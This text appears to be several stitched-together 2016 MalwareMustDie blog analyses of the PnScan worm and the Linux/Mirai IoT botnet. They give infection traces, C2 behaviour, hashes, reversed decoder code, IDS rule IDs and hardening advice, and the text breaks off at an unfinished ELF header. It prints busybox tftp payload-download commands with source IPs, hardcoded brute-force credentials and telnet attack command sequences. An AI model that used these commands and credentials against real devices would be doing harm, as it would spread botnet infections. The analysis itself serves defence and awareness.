-rw-r--r--    0 Aug 23 12:02 daemon.log       <-- malware log
-rw-r--r--   35 Aug 23 12:02 login2           <-- brute auth
drwxr-xr-x 4096 Aug 23 12:02 files/           <-- updates/downloads/C2 data

3. Daemonizing and listening to these 2 TCP ports:

IPv4 TCP/＊:9000 (for /check command and /upload command's remote access)
IPv4 TCP/＊:1337 (remote uptime or ping quick check)

4. Attacking initially to target IPs in: 183.83.0.0 / 16 (hard coded)

Country: 'India (Telangana, Kashmit region network in India)'
For 'SSH services' in  port: 'TCP/22' (ssh)

5. Having function to brute force login with the below auth:

  root:root
  admin:admin
  ubnt:ubnt

6. SSL traffic sent via HTTP/1.1 requests to twitter.com, reddit.com, google.com, microsoft.com etc listed URL on the SSL port TCP/443↓

write(113, "\26\3\1\2\0\1\0\1\374\3\3%\254\231\25\346\263EuU\vI\26\10bc\0I_\246\262g\273\267
\342C\24\33l\327\214R\215\0\0\240\3000\300,\300(\300$\300\24\300\n\0\245\0\243\0\241\0\237\0
k\0j\0i\0h\0009\0008\0007\0006\0\210\0\207\0\206\0\205\3002\300.\300*\300&\300\17\300\5\0\23
5\0=\0005\0\204\300/\300+\300'\300#\300\23\300\t\0\244\0\242\0\240\0\236\0g\0@\0?\0>\0003\00
02\0001\0000\0\232\0\231\0\230\0\227\0E\0D\0C\0B\3001\300-\300)\300%\300\16\300\4\0\234\0<\0
/\0\226\0A\0\7\300\22\300\10\0\26\0\23\0\20\0\r\300\r\300\3\0\n\0\377\1\0\0013\0\0\0\20\0\16
\0\0'\vtwitter.com'\0\v\0\4\3\0\1\2\0\n\0\34\0\32\0\27\0\31\0\34\0\33\0\30\0\32\0\26\0\16\0\r
\v\0\f\0\t\0\n\0\r\0 \0\36\6\1\6\2\6\3\5\1\5\2\5\3\4\1\4\2\4\3\3\1\3\2\3\3\2\1\2\2\2\3\0\17
\0\1\0013t\0\0\0\20\0\v\0\t'\10http/1.1'\0\25\0\267\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\
   :
0\0\0\0\0\0\0", 517)

7. Plain and SSL encrypted CNC traffic

The CNC calls will be performed upon successful function to seek its CNC related info via the requests sent in list of SNS (+other sites too) via SSL.

The Twitter (and other SNS/sites i.e.: reddit.com, microsoft.com, google.com, my.mail.ru) requests are utilized by this worm to do one important step to perform callback the CNC, by generation files in /files/ contains the CNC IP and its ports (See the ELF video.posted above). I waited long enough to be sure that no CNC is reached, but none available at this moment, assuming the worm is moving around in circle in the targeted network and accidentally hit my trap planted in the area. The worm is responding to the known bot protocol in the port TCP/9000 if you want to try some test for communicating with this worm. Port TCP/1337 is another indicator for the success infection. Both TCP/9000 and TCP/1337 are open, and has connectable (ESTBLISHED) TCP state.

The worm, in this particular sample, when it can't reach the CNC, will keep on requesting to the next SSL media that was contacted. In this case, it will keep on contacting the twitter.com, reddit.com, google.com and etc SNS URL hardcoded in the binary (see the below embedded video for the list) with permutating wordlist posted to the request after the SSL is established. This action to then triggering initial CNC list generation and making effort to seek for the motherhost connection (which it seems unreachable or down now).

Some of the requests during the initial infection stage can be seen in the PCAP snapshot that I had collected as per below:

Initiating connection:

Client request the hello:

Server is replied with key and response:

No CNC connection found yet, it was re-trying to next.. reddit.com now:

Again, these requests will keep on going while the worm is keep on continuing scanning and listing up the successfully scanned hosts and successfully brute-targeted SSH attack list. The activity will keep on going on until the worm can connect to the CNC and the hacker can reach back to the infected host and remotely send more instruction for other attacks via port TCP/9000 (noted the inbound and outbound traffic from and to this port).

This is why the coder was using SSL configuration during the compilation, they need to use SSL certification of twitter. reddit, microsoft, google etc for the generation of data to be used for further effort in making CNC connection.

[EDIT]
I thought there might be a way for the IDS signature for blocking this twitter connection for this worm can be used for the pinpoint to mitigate the growing infection on the targeted network. For that purpose, upon consulted to the team of experts in ETLabs [link], the result is negative. Following is the explanation: Unfortunately there isn't anything we can do there, there's SSL traffic to Twitter which on a network sensor will be encrypted. It's impossible to differentiate between infection traffic and legitimate Twitter traffic from our standpoint. Also, nothing appears abnormal in the SSH scanning..
[/EDIT]

[EDIT 2]
Discussing further with the ETLabs engineer friends, collaborating to mitigate this threat and the good result came up. We found way to mitigate the infection by the ETLab's traffic filtration signature. The details for this filtration you can see in the mitigation section. Thank you for the nice discussion and great work!
[/EDIT]

Infection Symtoms

Infected node will have traces of these process running made during the initial infection:

stdin 2712 root  cwd    DIR        8,1     4096  131126 /test/
stdin 2712 root  rtd    DIR        8,1     4096       2 /
stdin 2712 root  txt    REG        8,1  1034309  131146 /test/stdin
stdin 2712 root    0u   REG        8,1        0  131171 /test/daemon.log
stdin 2712 root    1u   REG        8,1        0  131171 /test/daemon.log
stdin 2712 root    2u   CHR      136,0      0t0       3 /dev/pts/0
stdin 2712 root    3r  FIFO        0,8      0t0    6188 pipe
stdin 2712 root    4w  FIFO        0,8      0t0    6188 pipe
stdin 2712 root    5u  0000        0,9        0    1185 anon_inode
stdin 2712 root    6u  unix 0xcda07300      0t0    6191 socket
stdin 2712 root    7u  unix 0xce020d40      0t0    6192 socket
stdin 2712 root    8u  IPv4       6193      0t0     TCP *:9000 (LISTEN)
stdin 2712 root    9u  0000        0,9        0    1185 anon_inode
stdin 2712 root   10u  unix 0xce020ac0      0t0    6194 socket
stdin 2712 root   11u  unix 0xce020840      0t0    6195 socket
stdin 2712 root   12u  IPv4       6196      0t0     TCP *:1337 (LISTEN)

And the launched attack can be seen in the network connectivity like per shown in the list of files and connection:

stdin 2712 root  13u  IPv4 6197  0t0 TCP x.x.x.x:40709->183.83.0.0:22 (SYN_SENT)
stdin 2712 root  14u  IPv4 6198  0t0 TCP x.x.x.x:37944->183.83.0.1:22 (SYN_SENT)
stdin 2712 root  15u  IPv4 6199  0t0 TCP x.x.x.x:35576->183.83.0.2:22 (SYN_SENT)
stdin 2712 root  16u  IPv4 6200  0t0 TCP x.x.x.x:41811->183.83.0.3:22 (SYN_SENT)
stdin 2712 root  17u  IPv4 6201  0t0 TCP x.x.x.x:43278->183.83.0.4:22 (SYN_SENT)
stdin 2712 root  18u  IPv4 6202  0t0 TCP x.x.x.x:37969->183.83.0.5:22 (SYN_SENT)
stdin 2712 root  19u  IPv4 6203  0t0 TCP x.x.x.x:39383->183.83.0.6:22 (SYN_SENT)
stdin 2712 root  20u  IPv4 6204  0t0 TCP x.x.x.x:38038->183.83.0.7:22 (SYN_SENT)
stdin 2712 root  21u  IPv4 6205  0t0 TCP x.x.x.x:35040->183.83.0.8:22 (SYN_SENT)
stdin 2712 root  22u  IPv4 6206  0t0 TCP x.x.x.x:59569->183.83.0.9:22 (SYN_SENT)
stdin 2712 root  23u  IPv4 6207  0t0 TCP x.x.x.x:50921->183.83.0.10:22 (SYN_SENT)
stdin 2712 root  24u  IPv4 6208  0t0 TCP x.x.x.x:36079->183.83.0.11:22 (SYN_SENT)
stdin 2712 root  25u  IPv4 6209  0t0 TCP x.x.x.x:35134->183.83.0.12:22 (SYN_SENT)
stdin 2712 root  26u  IPv4 6210  0t0 TCP x.x.x.x:59932->183.83.0.13:22 (SYN_SENT)
stdin 2712 root  27u  IPv4 6211  0t0 TCP x.x.x.x:35682->183.83.0.14:22 (SYN_SENT)
stdin 2712 root  28u  IPv4 6212  0t0 TCP x.x.x.x:57709->183.83.0.15:22 (SYN_SENT)
  :                                                            :

Each connected target is logged in the "list2" file:

0000  31 38 33 2e 38 33 2e 30  2e 33 33 3b 32 32 3b 0a  |183.83.0.33;22;.|
0010  31 38 33 2e 38 33 2e 30  2e 38 30 3b 32 32 3b 0a  |183.83.0.80;22;.|
0020  31 38 33 2e 38 33 2e 32  2e 32 36 3b 32 32 3b 0a  |183.83.2.26;22;.|
0030  31 38 33 2e 38 33 2e 32  2e 34 31 3b 32 32 3b 0a  |183.83.2.41;22;.|
0040  31 38 33 2e 38 33 2e 32  2e 31 31 30 3b 32 32 3b  |183.83.2.110;22;|
0050  0a 31 38 33 2e 38 33 2e  32 2e 32 31 30 3b 32 32  |.183.83.2.210;22|
0060  3b 0a 31 38 33 2e 38 33  2e 33 2e 32 32 3b 32 32  |;.183.83.3.22;22|
0070  3b 0a 31 38 33 2e 38 33  2e 33 2e 31 34 38 3b 32  |;.183.83.3.148;2|
0080  32 3b 0a 31 38 33 2e 38  33 2e 34 2e 39 33 3b 32  |2;.183.83.4.93;2|
0090  32 3b 0a 31 38 33 2e 38  33 2e 34 2e 31 35 36 3b  |2;.183.83.4.156;|
00a0  32 32 3b 0a 31 38 33 2e  38 33 2e 35 2e 31 36 3b  |22;.183.83.5.16;|
00b0  32 32 3b 0a 31 38 33 2e  38 33 2e 35 2e 32 30 36  |22;.183.83.5.206|
00c0  3b 32 32 3b 0a 31 38 33  2e 38 33 2e 36 2e 31 32  |;22;.183.83.6.12|
00d0  37 3b 32 32 3b 0a 31 38  33 2e 38 33 2e 37 2e 34  |7;22;.183.83.7.4|
00e0  33 3b 32 32 3b 0a 31 38  33 2e 38 33 2e 37 2e 31  |3;22;.183.83.7.1|
00f0  32 33 3b 32 32 3b 0a 31  38 33 2e 38 33 2e 37 2e  |23;22;.183.83.7.|
0100  31 38 37 3b 32 32 3b 0a  31 38 33 2e 38 33 2e 31  |187;22;.183.83.1|
0110  31 2e 35 31 3b 32 32 3b  0a 31 38 33 2e 38 33 2e  |1.51;22;.183.83.|
0120  31 31 2e 38 34 3b 32 32  3b 0a 31 38 33 2e 38 33  |11.84;22;.183.83|
0130  2e 31 31 2e 31 36 38 3b  32 32 3b 0a 31 38 33 2e  |.11.168;22;.183.|
0140  38 33 2e 31 32 2e 31 34  35 3b 32 32 3b 0a 31 38  |83.12.145;22;.18|
0150  33 2e 38 33 2e 31 32 2e  32 34 30 3b 32 32 3b 0a  |3.83.12.240;22;.|
0160  31 38 33 2e 38 33 2e 31  33 2e 31 36 32 3b 32 32  |183.83.13.162;22|
0170  3b 0a 31 38 33 2e 38 33  2e 31 34 2e 39 32 3b 32  |;.183.83.14.92;2|
0180  32 3b 0a                                          |2;.|

And you may find the brute list trace in file "login2"

0000  72 6f 6f 74 3b 72 6f 6f  74 3b 0a 61 64 6d 69 6e  |root;root;.admin|
0010  3b 61 64 6d 69 6e 3b 0a  75 62 6e 74 3b 75 62 6e  |;admin;.ubnt;ubn|
0020  74 3b 0a                                          |t;.|
0023

Noted: the PID of main process is saved in [MalwareFile].pid

0000  32 37 31 32  |2712|
0004

The origin of the threat

Regarding the source of this threat. I have discussion with my good colleague, I would like to not mention his/her identification for his/her security protection.

1. The compilation traces

The traces that lead to the cross compiling tool used, which was showing the Truecrypt was used. This method of running Truecrypt in the work directory is still seen a lot in several activities of cyber crooks on East Europe region (while in the western part or my part of area, mostly we already abandoned this technology for its insecurity). Which is suggesting the origin of this threat.
The data of the compilation traces:

0x8238ff8 102 101 OPENSSLDIR: "/media/truecrypt1/my/framework/../toolchains/cross-compiler-i686/i686-unknown-linux/ssl"
0x8248eac 96 95 /media/truecrypt1/my/framework/../toolchains/cross-compiler-i686/i686-unknown-linux/lib/engines
0x825e294 96 95 /media/truecrypt1/my/framework/../toolchains/cross-compiler-i686/i686-unknown-linux/ssl/private
0x825e2f4 88 87 /media/truecrypt1/my/framework/../toolchains/cross-compiler-i686/i686-unknown-linux/ssl
0x825e34c 94 93 /media/truecrypt1/my/framework/../toolchains/cross-compiler-i686/i686-unknown-linux/ssl/certs
0x825e3ac 97 96 /media/truecrypt1/my/framework/../toolchains/cross-compiler-i686/i686-unknown-linux/ssl/cert.pem

2. The MY.MAIL.RU's API used

In the SNS service url list where the worm is using to start effort to reach its CNC, it was found the specific API of mail.ru, a russian big public email service. We think, only russian speaking bad actors (I don't say "nationality" here, but this shows high possibility that the actor may residing in there), who know how use specific subdomain of my.mail.ru with its API as per shown below:

0x8220f7a 11 10 my.mail.ru
0x8220f85 20 19 https://%s/mail/%s/

Mitigation and detection method against PnScan worm infection

Some ways to fight this worm:

2023087 - ET TROJAN PNScan.2 Inbound Status Check - set (trojan.rules)
2023088 - ET TROJAN PNScan.2 Inbound Status Check Response (trojan.rules)
2023089 - ET TROJAN PNScan.2 CnC Beacon (trojan.rules)
2023090 - ET TROJAN PNScan.2 CnC Beacon 2 (trojan.rules)

Background

From August 4th 2016 several sysadmin friends were helping us by uploading this malware files to our dropbox. The samples of this particular ELF malware ware not easy to retrieve, there are good ones and also some broken ones, I listed in this post for the good ones only. This threat is made by a new ELF trojan backdoor which is now in on-going stage aiming IoT, the name of the binary is "mirai.*" and is having telnet attack as main functionality to other boxes.

As I see these samples as something new, it would be good to start to write analysis for the purpose to raise awareness of this threat widely, since the attacks are actively spotted in the wild on plenty of infected IoT networks. During the checks I discussed about the threat to the engineer friends in ETLabs,[links] who also detecting the same attack phenomena, and then having dialogue with our supporters who reported this threat directly too.

ELF Linux/Miraiis currently having a very low ELF/Linux antivirus detection ratio, even in the architecture of x86. The detection in VT for the collected multiplatform samples can be viewed in the several links below:
Linux/Mirai ITW samples: [link] [link] [link] [link] [link] [link] [link] [link] [link]

The reason for the lack of detection is because of the lack of samples, which are difficult to fetch from the infected IoT devices, routers, DVR or WebIP Camera, the Linux with Busybox binary in embedded platform, which what this threat is aiming.

The threat information

The binaries are collected from multiple direct/indirect sources:

mirai.arm:    ELF 32-bit LSB executable, 'ARM', version , statically linked, stripped
mirai.arm7:   ELF 32-bit LSB executable, 'ARM, EABI4' version 1 (SYSV), statically linked, stripped
mirai.mips:   ELF 32-bit MSB executable, 'MIPS, MIPS-I' version 1 (SYSV), statically linked, stripped
mirai.ppc:    ELF 32-bit MSB executable, 'PowerPC or cisco 4500', ver 1 (SYSV), statically linked, stripped
mirai.sh4:    ELF 32-bit LSB executable, 'Renesas SH', version 1 (SYSV), statically linked, stripped
mirai.sparc:  ELF 32-bit MSB executable, 'SPARC', version 1 (SYSV), statically linked, stripped
mirai.x86:    ELF 32-bit LSB executable, 'Intel 80386', version 1 (SYSV), statically linked, stripped

I picked up the ELF binary in ARM architecture for my main reversing since the it was the first ELF appeared, Doing the cross reference with the MIPS, PPC and Sparc ELF ones for the details. In this case, I use plenty of usual tools, nothing fancy or special.

The hash of the Linux/Mirai initial binaries spotted:

MD5 ('mirai.arm')  = b98bc6ab2ed13028cd5178c422ec8dda
MD5 ('mirai.arm7') = 33987c397cefc41ce5e269ad9543af4c
MD5 ('mirai.mips') = 8e36a1fb6f6f718ec0b621a639437d8b
MD5 ('mirai.ppc')  = e08befb4d791e8b9218020292b2fecad
MD5 ('mirai.sh4')  = 030159a814a533f30a3e17fe757586e6
MD5 ('mirai.sparc')= ac61ba163bffc0ec94944bb7b7bb1fcc
MD5 ('mirai.x86')  = 6b7b6ee71c8338c030997d902a2fa593

These binaries were infected to the compromised Linux system's SSH or Telnet account (via default password flaw on specific IoT aimed). Upon the shell access gained, the attacker will download the payload of this malware to the Linux device by command traced like below:

'busybox tftp' -r [MalwareFile] -g [IPsource]
'busybox tftp' -g -l 'dvrHelper' -r [MalwareFile] [IPsource]

5.206.225.96 |  |49349 | 5.206.225.0/24 | DOTSI | PT | tuganet.pt | Dotsi Unipessoal Lda.
151.80.99.84 | ns395732.ip-151-80-99.eu. |16276 | 151.80.0.0/16 | OVH | FR | ovh.com | OVH SAS

Execution processes

In some cases of the Linux/Mirai infection is showing traces that the malware was executed without parameter and there are cases where the downloaded malware file(s) is deleted after execution. In this case mostly you won't get the samples unless you dump the malware process to the ELF binary. This explains it is hard to get the good working samples for this new threat.

During the execution, the malware will open the /etc/watchdog file in read-write state with the command:

open("/dev/watchdog", O_RDWR)

/dev/misc/watchdog

chdir("/")

connect(3, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("8.8.8.8")}, 16) 

getsockname(3, {sa_family=AF_INET, sin_port=htons(39221), sin_addr=inet_addr("YOUR-IP")}, [16])
close(3)

At this point the malware is performing several decoding for strings, which will be resulted in the targeted malware file name (below) and several random names.

0xbf96daa4  0000 0000 0000 0000 0000 0000 0000  ..............
0xbf96dab2  0000 2e2f 6476 7248 656c 7065 7200  ..'/dvrHelper'.
0xbf96dac0  0000 0000 0000 0000 0000 0000 0000  ..............

The /etc/watchdog execution is meant for making the delay, for the malware not to perform the bad function instantly to avoid the early detection, and it just sit there and make sure the malicious opened backdoor port is up and used. The mentioned {Something} is the keyword generated by the malware, in example path: /dev/.anime/drvHelper

Upon execution the malware will be self-deleted to avoid the trace, but the process is running. In some IoT that can be seen in lsof or the list to the /proc with specific PID, i.e.:

/proc/{PID}/exe ->'/dev/.{something}/dvrHelper' (deleted) 
/proc/{PID}/exe ->'./{long alphabet strings}' (deleted) 

In this stage, the networking process continues, the malware is opening PF_INET socket for TCP, and bind it to the specific port (not random) TCP/48101 from localhost IP address 127.0.0.1 and then starting to listen to the incoming connection:

socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
bind(3, {sa_family=AF_INET, sin_port='htons(48101'), sin_addr=inet_addr("127.0.0.1")}, 16)
listen(3, 1) 

By this stage the system-wide realtime clock will be queried (triggered by random) along with the retrieval set of PID, following by start forking, noted the following clocktest output and the stdout of "NULL\n"

clock_gettime(CLOCK_REALTIME, {1472261021, 649262704}. 
getpid() // // see the reverse engineering part...
getppid()
clock_gettime(0x2 /* CLOCK_??? */, {0, 6215000})
prctl(PR_SET_NAME, 0xbef89752, 0xbef897b8, 0xbef897c8, 0)
write(1, NULL, 0)
write(1, "\n", 1)
fork()

- forking always starts if infection possible.
- The "NULL\n" is for the execution trace of the watchdog via execl(parse to environment in execve).

For some infection case the malware is self connected to its opened TCP/48101& will continuously looping without making any forks, in this case you won't get infection:

connect(4, {sa_family=AF_INET, sin_port=htons(48101), sin_addr=inet_addr("0.0.0.0")}, 16}

 IPv4 5629  0t0  TCP 127.0.0.1:'48101 (LISTEN)'
 IPv4 5670  0t0  TCP 127.0.0.1:60254->'127.0.0.1:48101 (ESTABLISHED)'

In the forked process, upon the attack command can be triggered, the infected device will perform connection on telnet services on other device for the abuse purpose:

socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
connect(6, {sa_family=AF_INET, sin_port=htons(23), sin_addr=inet_addr("x.x.x.x")}, 16)
sendto(7, "\377\374\1", 3, MSG_NOSIGNAL, NULL, 0)
sendto(7, "\377\374!", 3, MSG_NOSIGNAL, NULL, 0) 
sendto(7, "\377\375\1", 3, MSG_NOSIGNAL, NULL, 0)
sendto(7, "\377\375\3", 3, MSG_NOSIGNAL, NULL, 0)
recvfrom(0, "E\0\0(\276~@\0001\6t\342\305\347\335\323\300\250\262\vo0\0\26\373\334\316\244\217\3425\214".
recvfrom(0, "E\0\0004>J@\0*\6\fbj\375(g\300\250\262\v\0\27\243\375P\351\2211m\4\322o"..
recvfrom(0, "E\0\0(\276\177@\0001\6t\341\305\347\335\323\300\250\262\vo0\0\26\373\334\316\244\217\3425\344"..
recvfrom(0, "E\0\0(\276\200@\0001\6t\340\305\347\335\323\300\250\262\vo0\0\26\373\334\316\244\217\3426,"..
recvfrom(0, "E\0\0,\0\0@\0.\6\216=I\213\2P\300\250\262\v\0\27\311gH\31\23\320I\213\2Q".

connect(0, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("65.222.202.53")}, 16)

Mitigation method of Linux/Mirai infection

Picking a right ELF is important..

You'll find so little indicator and some encoded strings in the ARM binary. But there is no problem. First you should pick the clean ELF, it has the characteristic like the below:

ELF Header:
  Magic:   7f 45 4c 46 01 01 01 61 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            ARM
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           ARM

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  LOAD           0x000000 0x00008000 0x00008000 0x0dbb4 0x0dbb4 R E 0x8000
  LOAD           0x00e004 0x0001e004 0x0001e004 0x001d4 0x05a84 RW  0x8000
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4

Section to Segment mapping:
  Segment Sections...
   00     .init .text .fini .rodata
   01     .ctors .dtors .data .bss

From each of Linux.Mirai ELF file clean state like above, it has significant strings that can be filtered by signatures:

/dev/watchdog
'LCOGQGPTGP'
/proc/stat
/proc/cpuinfo
processor
/sys/devices/system/cpu
enter
ogin
assword
/dev/null

In rare occasion for infection of Linux/Mirai will connect you back to this MUD game site, blocking its IP is good for protection:

↑The site is showing the asciiart Mirai logo. ↓Anybody's home??

Blocking the used TCP/48101 port if you don't use it, it's good to prevent infection & further damage:

mirai 29557 toor 3u  IPv4  386807  0t0  "TCP 127.0.0.1:48101 (LISTEN)"
mirai 29557 toor 4u  IPv4  504795  0t0  "TCP 127.0.0.1:44424->127.0.0.1:48101 (ESTABLISHED)"

The other method is to secure your busybox execution to be run only on specific user. You'll need shell access for this operation, along with other hardening methods. The most important thing to prevent the infection is: if you have an IoT device, please make sure you have no telnet service open and running.

Botnet protocol used for infection via Telnet service

This explanation exists because of there are two good persons are supporting effort to crack it: Special thank's to Waldo Kitty & @node5.

What I am explaining here is the telnet scanner function that is used by attacker using the Linux/Mirai client version to get the installation of this malware in other node with accessible telnetd.

During the telnet session, Linux/Mirai attacker will communicate with its target with specific protocol. Please see the illustration below for getting the idea of what will be explained in the next writing:

The Username and Passwords mentioned in the figure are used for login bruting, and is hardcoded in the binary of Linux/Mirai, along with the commands used for the gaining the shell.

The botnet will communicate to the remote access (assuming server) who request the same strings sent, with the "report" in CNC callback, with the specific keyword.
After gaining shell access, the malware sends the shell one-liner command to install malware with the format as below:

This command is also hardcoded. It explained why we can not find the samples in the current infected systems since the malware file downloaded will be deleted after the execution.

The possible sequence of the attack commands can be shown as below variations:

{Username}
{Passwords}
shell
enable
sh
/bin/busybox MIRAI

{Username}
{Passwords}
enable
system
shell
sh
bin/busybox MIRAI

The reversing snips for this infection protocol can be read in skeleton reversing section.

Reversing Linux/Mirai (stripped ARM) in binary (raw) way

The binary is reversible, but it's a bit "heavily stripped" and has double function for decoders, so it is not that easy to read, but it's fine. You'll see some important "artifacts" like these "case-switch" they coded to perform attack:

If you trace it carefully all of origin for strings used in encoded binary can be read like this:

Decoder

// just to get the idea...what is cracked..

  fn.0x0000f9e8(var3,  (int)"\rRPMA\r\"", 7);
  fn.0x0000f9e8(var4,  (int)"\rGZG\"", 5);
  fn.0x0000f9e8(var7,  (int)"jvvrdnmmf\"", 10);
  fn.0x0000f9e8(var8,  (int)"nmnlmevdm\"", 10);
  fn.0x0000f9e8(var10, (int)"XMNNCPF\"", 8);
  fn.0x0000f9e8(var11, (int)"egvnmacnkr\"", 11);
  fn.0x0000f9e8(var14, (int)"QJGNN\"", 6);
  fn.0x0000f9e8(var15, (int)"GLC@NG\"", 7);
  fn.0x0000f9e8(var16, (int)"Q[QVGO\"", 7);
       :
  fn.0x0000f9e8(var17, (int)"QJ\"", 3);
  fn.0x0000f9e8(var20, (int)"LAMPPGAV\"", 9);

// One decoder in fn.0x0000f9e8

|           0x0000f9e8      000052e3       cmp r2, 0
|           0x0000f9ec      0ef0a001       moveq pc, lr
|           0x0000f9f0      00c0a0e3       mov ip, 0
|           ; JMP XREF from 0x0000fa04 (fcn.0000f9e8)
|       .-> 0x0000f9f4      0130d1e4       ldrb r3, [r1], 1
|       |   0x0000f9f8      0030cce7       strb r3, [ip, r0]
|       |   0x0000f9fc      01c08ce2       add ip, ip, 1
|       |   0x0000fa00      02005ce1       cmp ip, r2
|       `=< 0x0000fa04      faffff1a       bne 0xf9f4
\           0x0000fa08      0ef0a0e1       mov pc, lr

So the usual reversing method can be done to this ELF malware with using any of your flavor reversing tool that can support ELF reading in little endian. (Well, by know you all know what our chosen reversing tool is). I will not say much about this, since all of the previous posts are showing much of this method, but let me explain a new method with the details in the next section.

Reversing Linux/Mirai (stripped ARM) on "skeleton" tool

I've been working with my personal project called skeleton for some time, it was started since the ELF Workshop of MalwareMustDie started in here, Tokyo, Japan during AVTokyo conference last year. With the goal to be an open source project (currently still in private for some hiccups core development). The tool is having all practical necessity I need during analyzing a new unknown ELF malware, to save my time a lot to focus on the core of codes and source of the threat.

For the RCE itself, Skeleton can be used to form the ELF binary into as close as possible to the original state. If a known binary is analyzed by "skeleton", it's not interesting and that's not the point of this tool. Skeleton is showing its advantages when you push the unknown ELF into it, so this ARM binary is a good chance to test it :-).

Firstly, the simple explanation of "skeleton" concept can be seen in the figure below, a self-explanatory:

Skeleton concept is analyzing the all malware libraries you collected (all vectors related information of one family of malware) in the database, and is checking the new analyzed binary by firstly checking calls made on the sample..just like when you trace a syscalls..but with additional of the known function too are stored in malcode dataset. For example, in this Linux/Mirai this is the statistic of used syscall (this is only the example, using a very well known command):

Then the tool is parsed by radare2 assembly dump of the malware, in the form like in the below picture's shown:

..and after some process (sorry that I can not say openly here), receiving a not-bad reversing output in the C-like (NOT C++). The result is not 100% looks like the original source code. Specially if you are reversing this from ARM processor which many variable declaration will be passed more steps through registers than Intel, but it will get you into an idea of what kind of code that's actually responsible for this badness. The code generated by this scheme is making a basic concept code of what the actual source code is, why I called it as "skeleton".
PS: Radare is the best tool for RCE in this planet, me and MMD team are proud to use it for so long.

..And I was not surprised when I saw that ELF Linux/Mirai was actually showing many part of codes as similar as GayFgt/Torlus/Lizkebab or Bash0day/Bashdoor/BashLite.
Reference about GayFgt/Torlus/Lizkebab [link]

Below are screenshots of view of skeleton RCE tool results (after being beautified) by analyzing Linux/Mirai malware:

The cracked functions:

Putting all together in the main() :)

The case-switch used for abuse action (attack, etc) trigger, looks like the coding style of Torlus/GayFgt re-coded version to me..

Obviously same style of coding too :-) Some strings are automatic input by skeleton as suggestion since the system found the code matched.

Another encoded strings blob and path to its decoder addresses:

Snips of "Skeleton" reversing on the malware's Telnet Scanning Protocol

This part can not be done well w/o cool help from WaldoKitty. Not every information will be published, it is posted in enough level to PoC the threat and its origin.

The telnet login command "grepped" by the Linux/Mirai from skeleton C code:

The password request of the telnet login grepped:

How the user & password is sent, one at the time..

Attempt to gain the shell...studied from several collected bins

How the injected code is formed and sent...in rough code.

This will be followed by the fetch malware command described in the telnet attack protocol section.

If you see the above telnet infection generated reversed codes of Linux/Mirai, except for the usage of encoded strings and some additional/modification in injected telnet commands, it is reminding us for the previous known malware threat that aimed telnet and IoT/routers created by the skiddos we posted before. They don't (or maybe just can't) do much modification for the telnet scanner part.

Despite similarity in the telnet infection, there are some interesting functions can be seen in the malware attack action that's not found in the previous threat, please take a rain check for those, for the current security reason.

About further information on the telnet scannning research from the overall infected IoT device I can recommend you a very good report on telnet honeypot written by Mr. Bedřich Košata in CZ.NIC [link]

Notes for skeleton reversed code:

The thing about reverse engineering is, you always can sense same stuff coded from someone or from the threat you follow. The generated code is not 100% same as the original source used, but it is enough to give is idea about how it works in more details and how it was coded. In this reversing I am using the one several ARM samples in 32bit as main reference, which is influencing the distortion in code generated (to be more using more variables and registers than Intel). I will brush-up these codes in my spare time.

The conclusion

Open rules:
  2023016 - ET TELNET SUSPICIOUS Path to BusyBox
  2023017 - ET TELNET SUSPICIOUS busybox shell
  2023018 - ET TELNET SUSPICIOUS busybox enable
  2023019 - ET TELNET busybox MIRAI hackers - Possible Brute Force Attack

Ah, one last thing... We still have a better KungFu, kiddos! :)

Thank you and epilogue

To all of the good sysadmin friends who uploaded us the samples. To engineer friends in ET Labs for the nice discussion about the threat. To security ring in MMD and my country who support to our ELF research. To the friends who contacted us directly and doing the very best cooperation to share and explain the threat..even-though it was hard to fetch some binaries from the memory but you all did it, we thank you for the hard work and support to make this analysis is possible.

I will continue the development of the "skeleton" tool to be more presentable and used by good people who want to dissect the unknown binary by this method. At the moment I will try to sync the skeleton development plan to be presented in public for the near future. Please contact @unixfreaxjp for the development matters.

The moral of the story of this threat ; this is the example, on how a group of bad hackers can improve themselves.. if we let them still be freely doing their vandalism act out there. They keep on improving their threat and they have no care to aim anything that can be infected to expand their "botnets". Don't let the young age reducing our priority to stop the actors in the legal way, juveniles scheme in our culture are there for them to taste the consequences of what they do in the real life., let them taste it. If we don't stop them now..think about what they can do for 5 or 10 years from now to our internet.

To have Linux boxes in IoT to support our present life aspects is a bless in our technology era. But please be parallel to serve those boxes with more presentable security settings and don't let the authentication security for those running 365/24/7 OS becomes obsolete. Apply some securing method to secure it better too in user land UI i.e.: to force users to change the factory setting passwords BEFORE using them, or not to let telnetd runs openly by default, ask the users not to serve SSH in the default ports of possible, and these are really helping to reduce this threat hitting networks that is having much IoT running. Feel free to contact us in @malwaremustdie (twitter/direct message), or by comments to this post if you have an infection for this malware and look for advisory to dissect it, or to dump the sample from your busybox/IoT.

Thank you very much for the internet media awareness

We, MMD thank our good friends in internet media for your fast awareness of this threat:
1. Security Affairs (interview report) [link]
2. Security Week [link]
3. Softpedia [link]
4. Open Source Forum .RU [link]
5. Bug Online .HR [link]
6. Muy Seguridad .ES [link]
7. IPSInfo. RU [link]
8. Articulos relacionados con el mundo de la tecnologia .ES [link]
9. 甄选微信朋友圈热门文章_微信热文 .CN [link]
10. Info Security Magazine .NL [link]
11. HelpNet Security [link]
12. Best Security Search [link]
13. 老蔡博客 | 专注云计算运维自动化 .CN [link]
14. IT Vesti (Bosnian) [link]
15. Heise Security .DE [link]
16. Slashdot.org [link]
..and others who are not mentioned yet (I am sorry!)

Stay safe folks!

#MalwareMustDie!
Reversed, analyzed and written by @unixfreaxjp [link], August 31st 2016.

Background

On Mon, Aug 29, 2016 at 5:07 PM I received this ELF malware sample from a person (thank you!). There wasn't any detail or comment what so ever just one cute little ARM ELF stripped binary file with following data:

arm_lsb: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, stripped
hash: a220940db4be6878e47b74403a8079a1

This is a cleanly GCC: (GNU) 5.3.x compiled ARM arch ELF binary:

ELF Header:
